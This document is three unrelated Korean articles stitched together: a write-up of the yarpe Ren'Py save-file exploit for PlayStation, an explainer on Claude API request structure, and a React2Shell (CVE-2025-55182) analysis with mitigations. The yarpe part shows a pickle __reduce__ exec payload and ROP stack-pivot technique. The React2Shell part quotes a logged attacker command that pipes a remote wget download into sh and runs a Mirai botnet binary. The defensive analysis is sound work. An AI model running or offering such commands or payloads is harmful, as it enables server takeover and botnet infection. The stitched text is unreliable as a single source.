당신은 게임에 갇힌 미소녀들을 보기 위해 PlayStation을 켰습니다. 마침 친구가 "나 이쪽 루트 클리어했는데 너도 볼래?" 라며 세이브 파일을 주네요. 마침 그 루트로 갈 시기를 놓친 당신은 친구의 세이브를 이용해 확인해보려고 합니다. 세이브를 등록 후, 미연시를 켜서 로드했는데..? 갑자기 콘솔이 멈추며 결국 콘솔 내부 저장공간을 포맷했습니다!

... 당연히 위 내용은 실제 스토리가 아니지만, 충분히 일어날 수 있습니다. 이 글에서 설명할 내용들로 말이죠.

yarpe

yarpe(Yet Another Ren'Py PlayStation Exploit)를 소개합니다!

이 스크립트는 Ren'Py 기반의 PlayStation 게임들에서 적용되는 취약점이며, 현 시점에서 적용 가능한 게임은 다음과 같습니다:

• A YEAR OF SPRINGS PS4 (CUSA30428, CUSA30429, CUSA30430, CUSA30431)
• Arcade Spirits: The New Challengers PS4 (CUSA32096, CUSA32097)

그런데, 이 모든 것이 어떻게 시작되었고, 어떻게 만들어진걸까요?

Xbox One/Series

사실 저는 PlayStation(이하 PS로 줄여서 말하겠습니다)에 관심이 없었습니다. 반대로 Xbox에 많은 관심이 있었죠. 처음 Xbox One/Series의 커널 취약점이 생겼을 때 Warhammer: Vermintide 2의 게임 세이브 취약점을 이용한 게임 덤프가 제 눈에 잡혔습니다. 그때 문뜩 든 생각이: "다른 게임은 이런 세이브 취약점이 없을까?" 였는데요, 저와 같이 이런 작업에 관심을 두는 친구가 먼저 추천해준 것은 RPG Maker(쯔꾸르 라고도 많이 불리죠)로 만들어진 게임들이었습니다. 아쉽게도, 콘솔 버전에서 사용하는 RPG Maker 게임들은 다른 세이브 구조를 가지고있었고, ACE(Arbitrary Code Execution)가 불가능했습니다.

그러다 문뜩 생각이 났습니다: "Ren'Py 게임들이 세이브로 Pickle을 사용하지 않나?"

Pickle

Python에는 Pickle이라는 직렬화(serialization) 방식이 존재합니다. 이는 Python의 (왠만한) 모든 object를 직렬화할 수 있는 특징이 있습니다.

하지만 만약 직렬화하지 못하는 object가 class의 property로 존재하는데, 이 class를 직렬화하고 싶다면 어떻게 해야할까요? Python은 이를 위해 __reduce__라는 method를 지원합니다. 이는 class가 직렬화/역직렬화 될 때 어떤 데이터를 사용하여 class를 다시 구성해야할지 명시해줍니다. 사용법은 다음과 같습니다:

class A:
    def __init__(self, a):
        self.a = a
        self.b = "b"

    def __reduce__(self):
        return self.__class__, (self.a,)

# serialize
a = A()
b = pickle.dumps(a)

그런데, 만약 __reduce__에 다른 Python 함수가 있으면 어떨까요? 예를 들어, exec 같은거라면 말이죠?

class Exploit:
    def __reduce__(self):
        return exec, ("print('Hello, World!'),)

exploit = Exploit()
a = pickle.dumps(exploit)

pickle.loads(a) # Hello, World!

...네, Pickle이 로딩될 때 문자열에 담긴 코드를 실행해버립니다... 이것이 Python 공식 Pickle 문서에서 Pickle이 안전하지 않다고 하는 이유겠죠.

세이브 하나로 Ren'Py 게임 가지고 놀기

이제 Ren'Py가 Pickle을 사용한다는 사실과, Pickle로 코드를 실행할 수 있다는 사실을 알았으니, 직접 실행해볼 시간입니다!

Ren'Py의 세이브는 1-1-LT1.save 같은 파일 이름을 가지고 있습니다. 멋져보이지만, 사실 그냥 Zip 파일이며, 확장자만 .save로 변경된겁니다. 이를 흔한 Zip 프로그램으로 풀어보면, 여러 파일들이 나오지만 우리가 관심있는 파일은 log 파일입니다. 이 파일이 Ren'Py의 Pickle을 담고있는 파일이죠. 이제 이 파일을 제가 만든 코드가 담긴 Pickle로 바꿔치기 하고, 다시 압축을 해서 넣으면..?

코드 실행이 됩니다! 너무 멋지네요!

코드 실행은 되는데, 이제 어쩌죠?

이제 코드 실행이 되는걸 알았으니, 다음 단계는 무엇일까요? 당연히 메모리 조작이죠! Google에서 잠시 조사한 결과 unsafe-python 이라는 저장소가 눈에 들어왔습니다. 이 저장소는 Python에서 직접적인 메모리 접근을 가능하게 합니다.

해당 취약점은 LOAD_CONST opcode가 아무 범위 검사를 하지 않는다는 점을 이용하여 가짜 PyObject를 만들 수 있고, 이를 이용하여 0부터 사실상 64비트 주소 끝자락까지의 bytearray 객체를 만들어 직접적인 메모리 접근을 합니다.

이제 우리는 메모리 주소만 알면 언제든지 해당 메모리를 수정할 수 있습니다! 덤으로, Python의 사랑스러운 slicing 문법은 이를 더 편하게 만듭니다.

# Assume we got raw memory bytearray
mem = getmem()

mem[0x18000000:0x18000008] = b'\0' * 8

이제 마음대로 메모리 조작도 가능하고, PyObject 생성도 가능하니, 저만의 프로그램을 메모리에 저장한 후 Python의 function 객체를 만들어 제 코드를 향하게 하면 끝입니다!

...가 된다면 정말 쉬울건데 말이죠...

메모리 영역 권한

메모리 영역에는 특정 권한이 부여되어 있습니다. Read, Write, eXecute 권한이 분리되어 있는데, 이름에서 알 수 있듯 execute 권한 없이는 해당 메모리 영역을 코드로서 실행할 수 없습니다.

문제되는 부분은, 보통 우리가 작성하는 영역은 read와 write만 있고, execute 권한이 없습니다! 만약 execute 권한이 없는 영역을 실행하려 한다면, CPU에서 권한 부족 오류를 발생시킬 것이고, 이는 segfault로 이어질 것입니다.

그럼 현재 부족한 메모리 권한으로 원하는 명령을 어떻게 실행할 수 있을까요? 답은 ROP에 있습니다.

ROP

ROP, Return Oriented Programming은 말 그대로 asm의 ret 명령을 기준으로 작동하는 코드를 말합니다.

ret 명령의 특징은 현재 CPU가 가리키는 stack pointer(x86_64 기준 RSP register) 에 적힌 주소 값을 instruction pointer(x86_64 기준 RIP register)에 적고 stack pointer를 움직인다는 것입니다. 그럼 ret를 실행하는 때에 stack pointer를 (실행 가능한 메모리 영역에 있는) 저희가 원하는 코드로 향하게 하면 어떨까요? 이를 하기 위해선, ret로 끝나면서 원하는 명령을 실행하는 메모리 주소를 미리 찾아놓아야 할 것입니다. 이를 우리는 gadget이라고 부릅니다.

Stack pointer에서도 권한 오류가 발생할 수 있지 않을까 하실 수도 있지만, stack pointer가 가리키는 메모리 영역은 read, write 권한만으로 충분하기 때문에 괜찮습니다.

이 사실을 알게된다면 이제 이런 구상을 할 수 있습니다:

1. Python list를 통해 custom stack을 만든다.
2. Custom stack에는 적절히 gadget을 배치한다.
3. Stack pointer를 원하는 주소(여기선 Python list의 elements 주소)로 변경하는 gadget을 향하도록 한 Python function 객체를 만든다.
4. 해당 Python function 객체를 실행한다. Stack pointer가 옮겨지고 ret가 호출되며 원하는 명령이 실행된다!

...많은 것들이 축약되있지만 대략적으로 이런 구상이 가능하죠. 이제 이를 이용해서 취약점을 만들 시간입니다!

Gadget 찾기

앞서 말했듯 ROP를 하기 위해선 적절한 gadget을 찾는 것이 중요합니다. 저는 이를 위해 ROPgadget 툴을 이용했습니다. 원하는 executable과 함께 툴을 실행하면 ret로 끝나는 모든 asm 명령들을 메모리 주소 값과 함께 찾아줍니다! (가상 메모리 주소까지 고려해서요!)

다음엔 두 가지 방법이 있습니다:

1. Executable 메모리를 읽으며 gadget 주소를 동적으로 찾기
2. 미리 해당 gadget들의 주소를 적어둔 dict 만들기

Xbox One/Series에선 1번 방법을 사용할 수 있었지만, PS에선 후에 언급할 내용 때문에 2번 방법을 쓸 수 밖에 없었습니다.

Stack pointer를 원하는 주소로 옮기기

이제 stack pointer를 만들어둔 Python list 주소로 옮기면 되는데, 어떻게 옮길까요? 저희가 원하는건 (x86_64 기준) mov rsp, ???와 ret입니다. 여기서 저 ???부분이 중요한데, 왜냐하면 Python function 호출이 어떻게 이루어지는지 알아야하며, 실행되는 CPU와 OS의 함수 호출 convention도 알아야하기 때문입니다.

여기서 함수 호출 convention이란 함수를 호출할 때 몇번째 argument가 어떤 register에 들어가는지를 뜻합니다.

Linux/UNIX 기반 OS의 x86_64 함수 호출 convention 순서는 다음과 같습니다: RDI, RSI, RDX, RCX, R8, R9

그리고 Python function 호출은 다음과 같이 이루어집니다: function_call(PyObject* func, PyObject *arg, PyObject *kw)

따라서 만약 mov rsp, [rdi + 0x30]; ret 라는 명령을 찾았다면, 직접 만드는 Python function 객체 안 0x30 정도 되는 곳에 원하는 stack 주소를 넣어야할 것이고, mov rsp, [rsi + 0x10]; ret 라는 명령을 찾았다면, 직접 tuple 객체를 만든 후 0x10 정도 되는 곳에 stack 주소를 저장, 만든 function 객체를 부를 때 my_func(*custom_tuple)과 같이 호출해야 할 것입니다.

다 만들었으니 실행하면 되는데... Python으로 못 돌아오고 crash?

ROP에서 가장 중요한걸 깜빡했네요. 직접 만든 stack을 실행하고 나선 다시 원래 stack으로 돌아와야겠죠.

저같은 경우는 push rbp; mov rbp, rsp; xor esi, esi; call [rdi + 0x130] 명령을 이용하여 rbp에 rsp를 저장한 후 원하는 명령을 실행하도록 만들었습니다(rdi + 0x130에는 stack pointer를 변경하는 명령이 있습니다).

이 다음 원하는 명령 실행 후 mov rsp, rbp; pop rbp; ret 명령을 통해 다시 원래 stack pointer로 돌아옵니다. 이렇게만 하면 될까요..? 아닙니다. 이렇게 하면 Python이 함수의 return value(x86_64 기준 RAX register)를 참조하려다 잘못된 값을 참조하여 오류가 발생합니다. 그럼 어떻게 해야할까요?

정답은 None 객체를 반환해주는 것입니다. 이렇게 하면 Python에게 정상적인 값을 반환하게 되며, 오류가 발생하지 않게 됩니다. (그리고 네, None도 하나의 객체입니다.)

주의할 점은 None 객체의 refcount를 1만큼 올려주어야 합니다. 그렇지 않으면 Python이 return value의 refcount를 줄이려 할 때, underflow 문제가 발생할 수 있습니다.

이것까지 마치면, 진짜로 저희가 원하는 명령을 실행할 수 있게 됩니다!

Xbox에서 테스트!

Xbox One Research 팀의 도움을 받아 Ren'Py 게임 파일을 받은 뒤 gadget을 찾고, 돌려봤습니다!

Xbox에서 먼저 테스트한 결과 정상적으로 socket을 여는데 성공했으며, 해당 socket으로 다른 Python script를 실행하는 데 성공했습니다! (참고로 해당 게임은 Python의 socket 모듈을 지원하지 않습니다.)

Xbox 같은 경우 Windows와 거의 비슷한 함수를 사용할 수 있어서 편하게 진행할 수 있었습니다.

대망의 PS...

그렇게 Xbox에서 테스팅 후 몇달 뒤, PS 해킹에도 관심이 생겨 알아보게 되었습니다.

그렇게 알게된 Xbox와의 차이점은...

• FreeBSD 기반의 OS를 사용함
• 자체적인 syscall들이 존재함
• 메모리에 올라간 실행 파일에는 ELF 해더가 없음(Import table 알 수 없음)
• 실행 파일에 기록된 모듈만 로드할 수 있음
• PS5 기준: 실행 파일이 담긴 메모리 영역을 읽을 수 없음(XOM)

...Gadget 찾기에서 2번 방법을 사용한 이유가 XOM(eXecutable Only Memory) 때문입니다. 사실 PS4에선 1번 방법을 사용할 수 있지만, 저는 PS5 게임도 지원하고 싶었습니다.

PS5 Research & Development Discord 서버의 도움을 받아 게임 파일을 받았고, 똑같이 gadget을 찾아 작성하였습니다.

위에 적힌 제약들이 있어도, 기본 작동은 비슷하기 때문에 큰 문제 없이 만들 수 있었고, 그렇게 테스트를 한 결과..!

성공적으로 작동되었고, yarpe가 탄생할 수 있었습니다.

마무리

여기까지 오는데 (중간에 쉬었지만) 거의 1년이라는 시간이 걸렸습니다. 만들면서 힘든 것 보단 재밌다는 느낌을 더 많이 받았네요. (만드는 동안은 잠자는 시간마저 줄여가며 만들었던 것 같습니다.)

마무리하기 전에, 저에게 도움이 되었던 분들을 소개하며 끝내고자 합니다.

• Xbox One Research 팀: 이 프로젝트의 시작점이 되어주었으며, 핵심 부분을 구성하는데 큰 도움이 되었습니다. (tuxuser, LukeFZ, Billy, harold님 등이 도와주셨습니다.)
• Dr.Yenyen: PS4/5 게임들의 파일을 제공해주셨고, 많은 테스트를 진행해주셨습니다.
• Gezine: 취약점을 개발하며 제가 궁금했던 부분이나 잘못된 부분을 답변/지적 해주셨습니다.
• Sajjad: Dr.Yenyen님과 함께 많은 테스트를 진행해주셨습니다.
• cow: 직접 파일 대조까지 해주시며 문제가 되는 부분을 고쳐주셨습니다.
• earthonion: 테스트를 진행해주셨으며 많은 조언을 해주셨습니다.

긴 글 읽어주셔서 감사합니다.

Claude API의 Request는 크게 4가지 분류를 가지고 있다.

• System Messages
• Messages
• Tools
• Model & Config

각각은 다음과 같은 역할을 한다.

System Messages

System Messages는 Claude에게 역할, 성격, 제약사항 등을 지시하는 최상위 설정이다. 배열 형태로 여러 개의 시스템 메시지를 전달할 수 있다.

"system": [
  {
    "type": "text",
    "text": "You are Claude Code, Anthropic's official CLI for Claude.",
    "cache_control": {
      "type": "ephemeral"
    }
  },
  {
    "type": "text",
    "text": "You are an interactive CLI tool that helps users with software engineering tasks...",
    "cache_control": {
      "type": "ephemeral"
    }
  }
]

System Messages에는 다음과 같은 내용이 포함된다:

• Claude의 페르소나 및 역할 정의
• 보안 및 윤리 가이드라인
• 응답 형식 및 톤 설정
• 프로젝트 정보 등 컨텍스트
• cache_control을 통한 캐싱 설정

Messages

Messages는 user와 assistant 역할이 번갈아가며 주고받은 대화를 누적하는 배열이다. assistant 메시지는 반드시 모델의 실제 응답일 필요가 없다. 이를 활요해 API 호출 시 assistant 메시지를 미리 작성해서 전달하면, Claude는 그 내용 이후부터 이어서 응답한다. 이를 Prefill 기법이라 한다.

이 대화 기록을 통해 Claude는 맥락을 유지하며 응답한다.

"messages": [
  {
    "role": "user",
    "content": [...]
  },
  {
    "role": "assistant",
    "content": [...]
  },
  {
    "role": "user",
    "content": [...]
  }
]

User Message

User의 content는 주로 두 가지 type으로 구성된다:

1. text - 사용자의 일반 메시지나 시스템 리마인더

{
  "role": "user",
  "content": [
    {
      "type": "text",
      "text": "선물을 주고받는 기능을 위한 entity를 설계하라."
    }
  ]
}

2. tool_result - Tool 실행 결과 반환

{
  "role": "user",
  "content": [
    {
      "tool_use_id": "toolu_01Qj7gnFLKWBNjg",
      "type": "tool_result",
      "content": [
        {
          "type": "text",
          "text": "## Entity 구조 탐색 보고서\n\n철저한 탐색을 통해..."
        }
      ]
    }
  ]
}

Assistant Message

Assistant의 content는 주로 세 가지 type으로 구성된다:

1. text - Claude의 응답 메시지

{
  "type": "text",
  "text": "선물 주고받기 기능을 위한 entity 설계를 시작하겠습니다."
}

2. thinking - Extended Thinking 기능 활성화 시 사고 과정 (signature로 검증)

{
  "type": "thinking",
  "thinking": "사용자가 선물을 주고받는 기능을 위한 entity 설계를 요청했습니다...",
  "signature": "EqskYIChgCKknyFYp5cu1zhVOp7kFTJb..."
}

3. tool_use - Tool 호출 요청

{
  "type": "tool_use",
  "id": "toolu_01Qj7gn6vLKCNjg",
  "name": "Task",
  "input": {
    "subagent_type": "Explore",
    "prompt": "이 NestJS TypeScript 프로젝트에서 entity 구조를 탐색해주세요...",
    "description": "Entity 구조 탐색"
  }
}

User와 Assistant의 협력

Tool 사용 흐름은 다음과 같이 진행된다:

1. Assistant: tool_use로 Tool 호출 요청
2. User: tool_result로 실행 결과 반환
3. Assistant: 결과를 바탕으로 text 응답 또는 추가 tool_use

이 과정에서 어떤 Tool을 사용할 수 있는지는 tools 배열이 정의한다.

Tools

Tools는 Claude가 사용할 수 있는 도구들을 정의하는 배열이다. 각 Tool은 name, description, input_schema 세 가지 필드로 구성된다.

Tool의 기본 구조

"tools": [
  {
    "name": "ToolName",
    "description": "Tool에 대한 설명...",
    "input_schema": {
      "type": "object",
      "properties": {...},
      "required": [...],
      "additionalProperties": false,
      "$schema": "http://json-schema.org/draft-07/schema#"
    }
  }
]

필드	설명
name	Tool의 고유 식별자. Claude가 tool_use에서 이 이름으로 호출
description	Tool의 용도, 사용법, 주의사항 등을 상세히 기술. Claude가 어떤 Tool을 선택할지 판단하는 근거
input_schema	JSON Schema 형식으로 입력 파라미터 정의

input_schema 구조

input_schema는 JSON Schema draft-07 스펙을 따르며, Tool 호출 시 필요한 파라미터를 정의한다.

"input_schema": {
  "type": "object",
  "properties": {
    "pattern": {
      "type": "string",
      "description": "The regular expression pattern to search for"
    },
    "path": {
      "type": "string",
      "description": "File or directory to search in. Defaults to current working directory."
    },
    "output_mode": {
      "type": "string",
      "enum": ["content", "files_with_matches", "count"],
      "description": "Output mode: 'content' shows matching lines, 'files_with_matches' shows file paths..."
    },
    "-i": {
      "type": "boolean",
      "description": "Case insensitive search"
    },
    "head_limit": {
      "type": "number",
      "description": "Limit output to first N lines/entries"
    }
  },
  "required": ["pattern"],
  "additionalProperties": false,
  "$schema": "http://json-schema.org/draft-07/schema#"
}

properties 내 각 파라미터 정의

각 파라미터는 다음 필드들로 정의된다:

필드	설명
type	데이터 타입 (string, number, boolean, array, object 등)
description	파라미터의 용도와 사용법 설명
enum	(선택) 허용되는 값의 목록. 이 중 하나만 선택 가능
default	(선택) 기본값

input_schema의 메타 필드

필드	설명
type	항상 "object"
properties	파라미터 정의 객체
required	필수 파라미터 이름 배열. 여기 포함되지 않은 파라미터는 선택적
additionalProperties	false면 정의되지 않은 파라미터 전달 불가
$schema	JSON Schema 버전 명시

실제 예시: Grep Tool

{
  "name": "Grep",
  "description": "A powerful search tool built on ripgrep\n\n  Usage:\n  - ALWAYS use Grep for search tasks...",
  "input_schema": {
    "type": "object",
    "properties": {
      "pattern": {
        "type": "string",
        "description": "The regular expression pattern to search for in file contents"
      },
      "path": {
        "type": "string",
        "description": "File or directory to search in (rg PATH). Defaults to current working directory."
      },
      "glob": {
        "type": "string",
        "description": "Glob pattern to filter files (e.g. \"*.js\", \"*.{ts,tsx}\")"
      },
      "output_mode": {
        "type": "string",
        "enum": ["content", "files_with_matches", "count"],
        "description": "Output mode. Defaults to 'files_with_matches'."
      },
      "-A": {
        "type": "number",
        "description": "Number of lines to show after each match"
      },
      "-B": {
        "type": "number",
        "description": "Number of lines to show before each match"
      },
      "-i": {
        "type": "boolean",
        "description": "Case insensitive search"
      },
      "multiline": {
        "type": "boolean",
        "description": "Enable multiline mode. Default: false."
      }
    },
    "required": ["pattern"],
    "additionalProperties": false,
    "$schema": "http://json-schema.org/draft-07/schema#"
  }
}

이 Tool을 Claude가 호출할 때의 tool_use:

{
  "type": "tool_use",
  "id": "toolu_01ABC123",
  "name": "Grep",
  "input": {
    "pattern": "class.*Entity",
    "path": "src/modules",
    "glob": "*.ts",
    "output_mode": "content",
    "-i": true
  }
}

required에 pattern만 있으므로 나머지는 선택적이다. Claude는 input_schema의 description을 참고하여 적절한 파라미터를 선택한다.

Model & Config

마지막으로 모델 선택과 각종 설정 옵션들이다:

{
  "model": "claude-opus-4-5-20251101",
  "max_tokens": 32000,
  "thinking": {
    "budget_tokens": 31999,
    "type": "enabled"
  },
  "stream": true,
  "metadata": {
    "user_id": "user_2f2ce5dbb94ac27c8da0d0b28dddf815fc82be54e0..."
  }
}

옵션	설명
model	사용할 Claude 모델 (claude-opus-4-5, claude-sonnet-4-5 등)
max_tokens	최대 출력 토큰 수
thinking	Extended Thinking 설정 (budget_tokens로 사고 토큰 예산 설정)
stream	스트리밍 응답 여부
metadata	사용자 ID 등 메타데이터

마치며

지금까지 Claude API Request Body의 4가지 핵심 구성 요소를 살펴보았다:

1. System Messages: Claude의 역할과 행동 방식을 정의
2. Messages: user-assistant 간 대화 기록을 누적하며, tool_use/tool_result를 통해 Tool과 상호작용
3. Tools: JSON Schema 기반으로 사용 가능한 도구의 이름, 설명, 입력 파라미터를 정의
4. Model & Config: 모델 선택, 토큰 제한, 스트리밍 등 설정

이 구조를 알면 Claude가 주고받은 메시지를 어떻게 관리하는지, 도구를 어떻게 사용하는지 이해하고 API를 더 효과적으로 활용할 수 있다.

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계	역직렬화 취약점 사례	주요 공통점
Java	CVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)	외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)	CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)	BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
Python	CVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)	pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)	CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)	unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
Ruby	CVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)	YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.js	CVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)	구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
Go	CVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)	Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
Rust	GHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)	메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / Android	CVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)	Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++	CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)	Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOS	CVE-2021-32742 (Vapor)	외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)	CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)	프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

• https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
• https://github.com/msanft/CVE-2025-55182/blob/main/poc.py

여기서 알 수 있는 정보는 다음과 같다.

1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

• https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

• 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
• 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
• http://193.34.213.150/nuts/bolts (URL)
• http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

• https://www.mbsd.jp/research/20251211/react2shell/
• https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version	Patched release
Next.js 15.0.x	15.0.5
Next.js 15.1.x	15.1.9
Next.js 15.2.x	15.2.6
Next.js 15.3.x	15.3.6
Next.js 15.4.x	15.4.8
Next.js 15.5.x	15.5.7
Next.js 16.0.x	16.0.10
Next.js 14 canaries after 14.3.0-canary.76	Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58	15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12	16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

• https://github.com/vercel-labs/fix-react2shell-next

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.